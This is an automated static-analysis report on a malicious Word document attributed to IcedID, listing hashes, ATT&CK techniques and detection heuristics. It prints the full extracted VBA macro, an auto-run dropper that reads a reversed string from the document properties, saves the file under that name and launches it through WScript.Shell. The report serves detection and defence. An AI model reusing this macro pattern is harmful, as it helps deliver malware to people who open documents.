IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 dba425e0aaf154b8…

MALICIOUS

Office (OOXML)

34.1 KB Created: 2021-11-10 09:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-24
MD5: ff90125dcf8219b81f0a35715288902c SHA-1: 379f8feff8803549b32bd207f350bfe8b2dda2a7 SHA-256: dba425e0aaf154b81cffccef59d4babf6944ab7067657d9fe7d6bf7b06435d74
230 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The `document_open` macro triggers the execution of a `main.karoline` subroutine which retrieves a value from the document's keywords property, saves the document with that name, and then executes it using `c:\windows\explorer `. This indicates the document is designed to download and execute a second-stage payload, consistent with the IcedID family. The use of `CreateObject("wscript.shell")` and `Shell()` calls are critical indicators of this behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Function s(youKarolPow)
Set dowNextDow = CreateObject("wscript.shell")
dowNextDow.exec "c:\windows\explorer " & youKarolPow
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function s(youKarolPow)
Set dowNextDow = CreateObject("wscript.shell")
dowNextDow.exec "c:\windows\explorer " & youKarolPow
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Sub document_open()
main.karoline ("")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 949 bytes
SHA-256: bb7070cf515c6571ed82a1aa100a252bdd63e9dbdd7d3d64510e6ca032685fb9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
loveLikeLike = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(loveLikeLike)
ActiveDocument.Content.Find.Execute FindText:="$1", ReplaceWith:=youNextTube, Replace:=wdReplaceAll
End Function
Public Function s(youKarolPow)
Set dowNextDow = CreateObject("wscript.shell")
dowNextDow.exec "c:\windows\explorer " & youKarolPow
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(dowDowKarol)
dowDow = ThisDocument.keywords
With ActiveDocument
.SaveAs2 FileName:=dowDow, FileFormat:=2
End With
ThisDocument.s dowDow
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 0e80409801572373b0e0b6ac4f3c53850d6c668cd705e4e30010c1a28b8836e9

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